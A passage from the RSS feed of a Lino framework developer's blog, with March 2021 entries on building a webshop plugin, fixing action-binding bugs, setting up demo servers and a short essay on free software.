navigation panel for each row of a grid.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_amici.projects.amici1.settings&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="c1"&gt;# [f.name for f in rt.models.contacts.Person._meta.private_fields]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contacts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Persons&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wildcard_data_elems&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I reviewed the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/tables/index.html#lino-tutorial-tables" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Introduction to data tables&lt;/span&gt;&lt;/a&gt; page, which contained some obsolete
bullshit (using a &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;desktop.py&lt;/span&gt;&lt;/code&gt; module is obsolete).  And it did not
explain what are wildcard fields. Renamed “table” to “table views”.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0325.html</guid><pubDate>Thu, 25 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, March 24, 2021</title><link>https://luc.lino-framework.org/blog/2021/0324.html</link><description>&lt;section id="wednesday-march-24-2021"&gt;
&lt;h1&gt;Wednesday, March 24, 2021&lt;a class="headerlink" href="#wednesday-march-24-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sharif and Luc are glad to announce that a new Lino is born: &lt;em&gt;Lino Shop&lt;/em&gt;, an
application for managing Webshops. Source code is hosted on GitLab:
&lt;a class="reference external" href="https://gitlab.com/lino-framework/shop"&gt;https://gitlab.com/lino-framework/shop&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The docs will be at &lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/"&gt;https://lino-framework.gitlab.io/shop/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It is of course a newcomer on a crowded battlefield.&lt;/p&gt;
&lt;p&gt;New plugin &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/shopping.html#module-lino_xl.lib.shopping" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.shopping&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
Optimizations in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.products.html#module-lino_xl.lib.products" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.products&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
New database model &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.PaymentMethod&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.products.html#module-lino_xl.lib.products" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.products&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; I renamed &lt;cite&gt;ProductCat&lt;/cite&gt; to &lt;cite&gt;Category&lt;/cite&gt; (and its FK
on Product from &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;cat&lt;/span&gt;&lt;/code&gt; to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;category&lt;/span&gt;&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;We now have a promising answer to the question “How to define many categories
and product types”.  The &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_shop.lib.products&lt;/span&gt;&lt;/code&gt; plugin extends
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.products.html#module-lino_xl.lib.products" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.products&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and adds two new database models &lt;cite&gt;Thing&lt;/cite&gt; and &lt;cite&gt;Book&lt;/cite&gt;,
which are MTI children of “simple” products. These are of course just some
examples. TODO: show ways of customizing filter parameters.&lt;/p&gt;
&lt;p&gt;The next big piece I want to see is a meaningful content in the dashboard of a
“normal” (or anonymous) user. The site admin must have a possibility to
configure something like “dashboard cards”, which would extend the default
dashboard items.&lt;/p&gt;
&lt;p&gt;Something like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;DashboardCard&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

  &lt;span class="n"&gt;title&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CharField&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;free&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;picture&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ImageField&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GenericForeignKey&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;Publishable&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;usually&lt;/span&gt; &lt;span class="n"&gt;some&lt;/span&gt; &lt;span class="n"&gt;category&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;parameters&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;optional&lt;/span&gt; &lt;span class="nb"&gt;filter&lt;/span&gt; &lt;span class="n"&gt;parameters&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;top ten&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;layout&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;width&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;card&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;card_type&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;choicelist&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Link&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Carousel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0324.html</guid><pubDate>Wed, 24 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, March 23, 2021</title><link>https://luc.lino-framework.org/blog/2021/0323.html</link><description>&lt;section id="tuesday-march-23-2021"&gt;
&lt;h1&gt;Tuesday, March 23, 2021&lt;a class="headerlink" href="#tuesday-march-23-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0323.html</guid><pubDate>Tue, 23 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Sunday, March 21, 2021</title><link>https://luc.lino-framework.org/blog/2021/0321.html</link><description>&lt;section id="sunday-march-21-2021"&gt;
&lt;h1&gt;Sunday, March 21, 2021&lt;a class="headerlink" href="#sunday-march-21-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sharif and I had two Jitsi sessions where we continued to work on the Webshop
project.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Rename the webshop plugin to “shopping”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Start an application “Lino Webshop”. Remove the “shopping” plugin from Così.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;One or several new plugins: “extended products” (or simply “categories”),
filtering criteria, campaigns, product ratings, topics (“departments”),
brands, materials, price ranges, weight and size information for packaging and
delivery management.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Test suite and documentation&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Introduce “Payment drivers” and “Delivery drivers” (choicelists)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0321.html</guid><pubDate>Sun, 21 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, March 20, 2021</title><link>https://luc.lino-framework.org/blog/2021/0320.html</link><description>&lt;section id="saturday-march-20-2021"&gt;
&lt;h1&gt;Saturday, March 20, 2021&lt;a class="headerlink" href="#saturday-march-20-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sharif an I continued to work on the &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.webshop&lt;/span&gt;&lt;/code&gt; plugin and
committed our work.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Provide a payment method for paying via &lt;a class="reference external" href="https://www.bkash.com/"&gt;bKash&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Lino gives &lt;cite&gt;update_widgets&lt;/cite&gt; as the &lt;cite&gt;action_name&lt;/cite&gt; of the AddToCart action. It
works because this name is used only in the AJAX requests, but it’s not true.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Remove the update_plan action from the mixin because at least webshop doesn’t need it.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;===== run in ubuntu_with_getlino &amp;lt;Container: cadede7b58&amp;gt; : . ~/lino/env/bin/activate &amp;amp;&amp;amp; getlino startsite avanti avanti1 –batch =====&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0320.html</guid><pubDate>Sat, 20 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Friday, March 19, 2021</title><link>https://luc.lino-framework.org/blog/2021/0319.html</link><description>&lt;section id="friday-march-19-2021"&gt;
&lt;h1&gt;Friday, March 19, 2021&lt;a class="headerlink" href="#friday-march-19-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I started the &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.webshop&lt;/span&gt;&lt;/code&gt; plugin, with Sharif watching me. It
(currently) has four database models Cart, CartItem, Address and PaymentMethod.
It needs and uses the existing plugins vat, sales, contacts, products,
ledger,… I also added a demo project of same name “webshop”.&lt;/p&gt;
&lt;p&gt;We discovered and fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4036"&gt;#4036&lt;/a&gt;.
We had (simplified) the following construct:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;UserPlan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Model&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Meta&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;abstract&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;

    &lt;span class="n"&gt;start_plan&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;StartPlan&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;StartPlan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Action&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;run_from_ui&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
      &lt;span class="n"&gt;options&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_options&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;pm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_plan_model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="o"&gt;...&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_plan_model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;defining_actor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Explanation: When the application has more than one concrete model that inherits
from &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.UserPlan" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.users.UserPlan&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;,  Lino’s behaviour was wrong. Calling
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;webshop.Cart.start_plan&lt;/span&gt;&lt;/code&gt; created
an instance of &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/sheets.html#lino_xl.lib.sheets.Report" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.sheets.Report&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, the concrete model that
happens to be the first to use it.&lt;/p&gt;
&lt;p&gt;I fixed this by saying:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;StartPlan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Action&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_plan_model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;actor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I stumbled into a similar pitfall: The quick link ‘webshop.MyCart.start_plan’
was getting bound to the start_plan action on &lt;cite&gt;lino_xl.lib.sheets.Report&lt;/cite&gt;. This
was caused by the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/xlmenu.html#lino.core.actors.resolve_action" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.actors.resolve_action()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. I optimized the
behaviour of this function and added test coverage in &lt;a class="reference external" href="https://dev.lino-framework.org/dev/xlmenu.html#dev-xlmenu" title="(in Lino Developer Guide)"&gt;&lt;span&gt;How plugins build the application menu&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;How to link user and partner? A normal webshop user fills in their postal
address or other contact data. Webshop adds the possibility to define multiple
invoicing and delivery addresses.
The partners of the users are not our partners. The partner of the generated invoices is always a same partner, stored in
the User.partner field and leading to a given sales.SalesRule.&lt;/p&gt;
&lt;p&gt;The ar.success “x items have been placed to your shopping cart!” didn’t not
show up because I must say &lt;cite&gt;alert=True&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.webshop.AddToCart&lt;/span&gt;&lt;/code&gt; action made us stumble into another
pitfall: when an action uses &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest.confirm" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.confirm&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, then the implementing code is being
called several times, once for each call to &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/requests.html#lino.core.requests.BaseRequest.confirm" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.confirm&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. And each time the full text of the
confirmation message must remain the same.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0319.html</guid><pubDate>Fri, 19 Mar 2021 00:00:00 +0000</pubDate></item><item><title>The issue is serious but not desperate</title><link>https://luc.lino-framework.org/blog/2021/0318b.html</link><description>&lt;section id="the-issue-is-serious-but-not-desperate"&gt;
&lt;h1&gt;The issue is serious but not desperate&lt;a class="headerlink" href="#the-issue-is-serious-but-not-desperate" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Thursday, March 18, 2021.&lt;/p&gt;
&lt;p&gt;Why do I believe in Lino?&lt;/p&gt;
&lt;p&gt;Writing free software makes sense only because I believe that proprietary
software is a problem.&lt;/p&gt;
&lt;p&gt;Many of us somehow agree that proprietary software &lt;em&gt;is&lt;/em&gt; a problem, but we also
feel that getting rid of it seems impossible.&lt;/p&gt;
&lt;p&gt;When you see a problem and no solution, then you have not much choice.
Some fall into despair, others turn their minds away,
become indifferent and say “Anyway I cannot help” or “There is no problem”.&lt;/p&gt;
&lt;p&gt;But here is yet another signal of
somebody who chose to no longer ignore the issue. The data protection officer of
&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Mecklenburg-Vorpommern"&gt;Mecklenburg-Vorpommern&lt;/a&gt; in Germany now
declared officially that German administrations must urgently stop using
Microsoft products:
&lt;a class="reference external" href="https://www.heise.de/news/Datenschutzbeauftragter-Behoerden-sollten-unverzueglich-auf-Microsoft-verzichten-5990886.html"&gt;https://www.heise.de/news/Datenschutzbeauftragter-Behoerden-sollten-unverzueglich-auf-Microsoft-verzichten-5990886.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;My source of hope is a vision, a vague idea of where the solution will be: the
root of the evil is the fact that we created a legal infrastructure that allows
&lt;a class="reference external" href="https://hw.saffre-rumma.net/greedy_giants/#term-greedy-giant" title="(in Human World)"&gt;&lt;span class="xref std std-term"&gt;greedy giants&lt;/span&gt;&lt;/a&gt; to consider software as private property.
See &lt;a class="reference external" href="https://hw.saffre-rumma.net/lutsu/copyright_bug/#copyright-bug" title="(in Human World)"&gt;&lt;span&gt;There are two aspects of copyright&lt;/span&gt;&lt;/a&gt;. If this is true, then we “only” need to toggle a few
levers. Of course this change is not going to come quickly and easily. But let’s
start to look at it.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0318b.html</guid><pubDate>Thu, 18 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Hosting Guide getting better</title><link>https://luc.lino-framework.org/blog/2021/0318.html</link><description>&lt;section id="hosting-guide-getting-better"&gt;
&lt;h1&gt;Hosting Guide getting better&lt;a class="headerlink" href="#hosting-guide-getting-better" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Thursday, March 18, 2021.&lt;/p&gt;
&lt;p&gt;I updated two pages in the Hosting Guide: &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;hosting.dovecot&lt;/span&gt;&lt;/code&gt; and
&lt;a class="reference external" href="https://hosting.lino-framework.org/mail/start/#admin-postfix" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Get started&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0318.html</guid><pubDate>Thu, 18 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, March 17, 2021</title><link>https://luc.lino-framework.org/blog/2021/0317.html</link><description>&lt;section id="wednesday-march-17-2021"&gt;
&lt;h1&gt;Wednesday, March 17, 2021&lt;a class="headerlink" href="#wednesday-march-17-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Congratulations to Sharif who finished his work for &lt;a class="reference external" href="https://dev.lino-framework.org/specs/cosi5/index.html#i18n-bn" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino in Bengali&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;$ npm install&lt;/p&gt;
&lt;p&gt;changed 1 package, and audited 988 packages in 11s&lt;/p&gt;
&lt;p&gt;found 0 vulnerabilities&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0317.html</guid><pubDate>Wed, 17 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, March 16, 2021</title><link>https://luc.lino-framework.org/blog/2021/0316.html</link><description>&lt;section id="tuesday-march-16-2021"&gt;
&lt;h1&gt;Tuesday, March 16, 2021&lt;a class="headerlink" href="#tuesday-march-16-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Devon noted that the &lt;a class="reference external" href="https://www.lino-framework.org/demos.html#demos" title="(in Lino framework)"&gt;&lt;span class="xref std std-ref"&gt;public demo sites&lt;/span&gt;&lt;/a&gt; aren’t yet back after the
OVH incident.  I started to reactivate them.
En passant I
optimized the docs about &lt;a class="reference external" href="https://hosting.lino-framework.org/install_demo/#getlino-install-demo" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Set up a public demo server&lt;/span&gt;&lt;/a&gt;, which
required a series of changes in getlino for this use case.
Also some changes in &lt;a class="reference external" href="https://hosting.lino-framework.org/install/#getlino-install-prod" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Set up a Lino production server&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I had the following idea: We might update the .getlab-ci.yml file of book so
that it uses getlino. This would be yet another coverage for getlino, and it
would remove quite some duplicate code.&lt;/p&gt;
&lt;p&gt;I ran the first getlino startsite without having a &lt;cite&gt;–web-server&lt;/cite&gt; (because the
doc page was obsolete), so getlino created everything except the nginx and
supervisor config files. After setting &lt;cite&gt;–web-server&lt;/cite&gt; and other options (e.g.
&lt;cite&gt;–server-domain&lt;/cite&gt;) I created noi1r by copying (and adapting) the config files.
Now for cosi1e, nginx still just returns a plain text message “Internal Server
Error”, no entry in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;error.log&lt;/span&gt;&lt;/code&gt;, only the following line in
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;access.log&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
